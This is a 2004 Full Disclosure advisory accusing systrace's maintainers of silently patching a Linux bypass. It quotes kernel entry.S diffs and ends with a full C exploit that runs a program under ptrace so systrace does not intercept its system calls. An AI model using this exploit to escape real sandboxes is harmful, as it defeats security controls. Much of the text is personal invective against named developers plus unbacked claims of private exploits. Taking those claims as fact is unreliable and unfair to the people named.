Full Disclosure mailing list archives

systrace silently patches full local bypass vulnerability on Linux


From: spender () grsecurity net
Date: Sat, 27 Mar 2004 16:01:03 -0500 (EST)

systrace silently patches full local bypass vulnerability on Linux

Introductory Note:

        I will not be replying to any posts in response to this mail, no 
        matter how many times you intentionally misspell my name or 
        attack me personally.  Annoying me in an attempt to get me
        to release vulnerability details to you does not work.

Executive Summary:

        Don't use systrace.  This is only one of three exploitable bugs 
        that have existed in systrace since its creation.  One other 
        bug is a local root and applies across all OSes systrace 
        supports (including OpenBSD!), while the other is specific to 
        Linux and allows a local bypass.  Marius Eriksen has silently 
        fixed this bug, and there is no doubt that he will try to fix 
        the other two silently also.  Hopefully this advisory will persuade 
        Marius and Niels to not go that route, though I don't see 
        either bug being fixed any time soon, as they are both design 
        flaws and nearly impossible to catch through empirical testing.

Vulnerability Detail:

        Let's look at the systrace v1.4 patch:

--- linux-2.4.21/arch/i386/kernel/entry.S~systrace-1.4  2003-06-30 
02:15:04.000000000 -0400
+++ linux-2.4.21-marius/arch/i386/kernel/entry.S        2003-06-30 
02:15:04.000000000 -0400
@@ -207,8 +207,21 @@ ENTRY(system_call)
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl ret
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
+ret:
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 ENTRY(ret_from_sys_call)
        cli                             # need_resched and signals 
atomic test
        cmpl $0,need_resched(%ebx)


        What I want to direct your attention to is the first line of the 
        patch, "jne tracesys", which for you OpenBSD developers of the 
        world that don't understand assembly means that the system call 
        entry point is redirecting execution flow to another place in the 
        routine where the system call will be called if the current 
        process is being ptrace'd with PTRACE_SYSCALL, which single 
        steps through each system call in an application.  When the
        system call is called at the different location, systrace will
        not have intercepted it.

        Let's look at the latest v1.5 patch for 2.4.24 (though a 
        similar fix is present in the 2.6.3 patch also):

diff -puN arch/i386/kernel/entry.S~systrace-1.5 arch/i386/kernel/entry.S
--- linux-2.4.24/arch/i386/kernel/entry.S~systrace-1.5  2004-01-26 
00:35:49.000000000 -0500
+++ linux-2.4.24-marius/arch/i386/kernel/entry.S        2004-01-26 
00:52:52.000000000 -0500
@@ -207,8 +207,21 @@ ENTRY(system_call)
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl ret
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
+ret:
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 ENTRY(ret_from_sys_call)
        cli                             # need_resched and signals 
atomic test
        cmpl $0,need_resched(%ebx)
@@ -243,8 +256,20 @@ tracesys:
        movl ORIG_EAX(%esp),%eax
        cmpl $(NR_syscalls),%eax
        jae tracesys_exit
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax
+       call SYMBOL_NAME(systrace_intercept)
+       cmpl $0,%eax
+       jl tracesys_exit
+       movl ORIG_EAX(%esp),%eax
+#endif /* CONFIG_SYSTRACE */
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
        movl %eax,EAX(%esp)             # save the return value
+#ifdef CONFIG_SYSTRACE
+       movl %esp,%eax                  # pass in stack
+       call SYMBOL_NAME(systrace_result)
+       movl EAX(%esp),%eax             # XXX: ?to be on the safe side
+#endif /* CONFIG_SYSTRACE */
 tracesys_exit:
        call SYMBOL_NAME(syscall_trace)
        jmp ret_from_sys_call


        As we can see here, there is a lot more code in entry.S.  And 
        for what reason?  Let's look to the announcement on the mailing list:

"which is for linux 2.4.24 and includes a few updates i made when forward 
porting systrace to linux 2.6.1.  it also includes some updated system 
call definitions, including the xattr/acl related system calls."

        Supporting more syscalls doesn't mean that Marius had to modify 
        entry.S.  The internal systrace functions handle all that.  
        This clearly was not simple port work either; there was a 
        deliberate attempt to add the systrace hooks to the syscall 
        tracing case.

Note to those stinking up the security community cesspool:

        I'm sure rather than taking responsibility for this blatant 
        attempt to hide an exploitable vulnerability that has been 
        known in the blackhat community ever since systrace was 
        released for Linux (almost two years now), Marius and Niels will 
        instead try to attack my character, misspell my name, claim 
        that I found the bug by diffing, or anything else that will 
        take the attention off of this bug.  In fact, I know of several
        others that have discovered this bug independently, who I hope 
        will respond to this advisory and give weight to my claim if 
        there is any doubt on the part of Niels and Marius.  I apologize
        for the delay in this advisory, since when I have checked the 
        systrace patch for updates, I would usually check for the local 
        root hole, not this ptrace-related vulnerability.

        There seems to be some common sentiment in the community, and
        by community I mean people sitting in cubicles with the false 
        belief that they understand security (eg. RedHat employees), 
        that bugs don't exist until they're revealed to the public.  
        There's the belief that someone who claims to have private 
        exploits but chooses not to release them is in every case a 
        liar, even though there is every reason to believe that person.  
        There also seems to be the ridiculous notion among certain 
        developers, and also by people who cannot code at all (eg. 
        Joshua Brindle aka Method, leader of the Gentoo Hardened 
        project) that they can treat exploit developers any way they 
        want and expect to be treated fairly in return through prior 
        disclosure of vulnerabilities.  I'm not just speaking about 
        myself here.  The reaction against noir when he posted his 
        OpenBSD local root is a prime example.  The cost of freedom of 
        speech is responsibility for that speech.

        There was recent doubt as to whether I had discovered a 
        number of vulnerabilities in other security systems.  Though it 
        should seem obvious that someone developing a security system 
        would look at other systems and find flaws in them quickly (and 
        I would seriously doubt the ability of any "whitehat" who has 
        not), some people obviously do not think so.

        There are protection bypass vulnerabilities in:
        LIDS
        DTE
        exec-shield (and no, it has nothing to do with paxtest)
        linsec
        systrace

        There were also recently several scathing comments made by 
        Russell Coker, an employee of RedHat.  Some background info on 
        Russell: he's from Australia, he's not used to IRC, he can't 
        name any blackhats off-hand, and somehow he's a (self-titled?) 
        security expert and wants everyone to use SELinux.  I had made 
        the claim in a channel that the Debian SELinux test box was 
        owned by stealth due to a configuration error.  It turned out 
        that stealth had not owned the Debian SELinux test box, and 
        Russell Coker certainly made everyone aware of this.  What he 
        of course failed to mention (and that he was knowledgeable 
        of, as I was CC'd on the mails) was that stealth did own an 
        SELinux test machine some time back in Australia due to a 
        configuration error.  My mistake was believing that there was 
        more than one user of SELinux in Australia.  I should also note 
        that that the SELinux test box challenge is a hoax.  Russell 
        seems to think not however:

"I've been running SE Linux machines that anyone can try to crack as root 
since the middle of 2001."

        http://marc.theaimsgroup.com/?l=selinux&m=107943732100178&w=2

"Is anyone offering root access to any machine running any security 
system other than SE Linux?"

        http://groups.google.com/groups?selm=20030607072005%2463c7%40gated-at.bofh.it&oe=UTF-8&output=gplain

There's also an interesting omission here about how much Russell is 
relying on the "security" of SELinux for the test machine:

"It was claimed that the machine was cracked some months ago, if so the attacker would have 
had to maintain their root-kit past upgrades of SE Linux policy, kernel, and OS 
packages."

        http://marc.theaimsgroup.com/?l=selinux&m=107925097605307&w=2

        What's that now? Kernel upgrades? OS packages? Upgrades of policy?

        It's also interesting how quickly they've forgot about this:

        http://marc.theaimsgroup.com/?l=selinux&m=105490085132101&w=2

        There is no reason why the box couldn't have been hacked when 
        you realize that any of the recent local kernel exploits for 
        Linux could have been used to own the box.  Certainly someone 
        could have used the exploits before they were released to the 
        public to own the machine; I myself was in possession of one of 
        the exploits weeks before it was released publicly.  Russell 
        also seems to think that real hackers would want to waste their 
        private exploits on his useless test machine, clearly evidence 
        of his complete lack of understanding of the blackhat 
        community, the very people he claims to know how to protect 
        himself (and you) from.

        Without much further ado, here's a simple exploit for the 
        silently fixed systrace vulnerability.  I apologize for its lack
        of multithreading.

#include <stdio.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int pid;
        int input[2];
        int output[2];
        int error[2];
        int ret;
        fd_set readfds;

        if (argc < 2) {
                printf("usage: ./systrace_exp <target> <arg1> <arg2> ... <argn>\n");
                exit(0);
        }

        ret = pipe(input);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }
        ret = pipe(output);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }
        ret = pipe(error);
        if (ret) {
                printf("Unable to create pipe\n");
                exit(1);
        }

        pid = fork();

        if (pid > 0) {
                char somechar;
                int highest;
                struct timeval time;

                time.tv_sec = 0;
                time.tv_usec = 1000;

                close(input[0]);
                close(output[1]);
                close(error[1]);

                FD_ZERO(&readfds);
                FD_SET(0, &readfds);
                FD_SET(output[0], &readfds);
                FD_SET(error[0], &readfds);
                while (1) {
                        FD_SET(0, &readfds);
                        FD_SET(output[0], &readfds);
                        FD_SET(error[0], &readfds);
                        time.tv_sec = 0;
                        time.tv_usec = 1000;
                        while ((select(error[0] + 1, &readfds, NULL, NULL, &time)) > 0) {
                                if (FD_ISSET(0, &readfds)) {
                                        if (read(0, &somechar, 1) != 1)
                                                exit(0);
                                        write(input[1], &somechar, 1);
                                }
                                if (FD_ISSET(output[0], &readfds)) {
                                        if (read(output[0], &somechar, 1) != 1)
                                                exit(0);
                                        write(1, &somechar, 1);
                                }
                                if (FD_ISSET(error[0], &readfds)) {
                                        if (read(error[0], &somechar, 1) != 1)
                                                exit(0);
                                        write(2, &somechar, 1);
                                }
                                FD_SET(0, &readfds);
                                FD_SET(output[0], &readfds);
                                FD_SET(error[0], &readfds);
                                time.tv_sec = 0;
                                time.tv_usec = 1000;
                        }

                        ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                        if (errno == ESRCH)
                                break;
                }
        } else if (pid == 0) {
                close(input[1]);
                close(output[0]);
                close(error[0]);
                close(0);
                dup(input[0]);
                close(1);
                dup(output[1]);
                close(2);
                dup(error[1]);
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                if (argc == 2)
                        execv(argv[1], NULL);
                else
                        execv(argv[1], argv + 1);
        } else {
                fprintf(stderr, "Unable to fork.\n");
                exit(1);
        }

        return 0;
}


        Be kind to others.  Know your enemy.  Thank you for your time.

-Brad

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: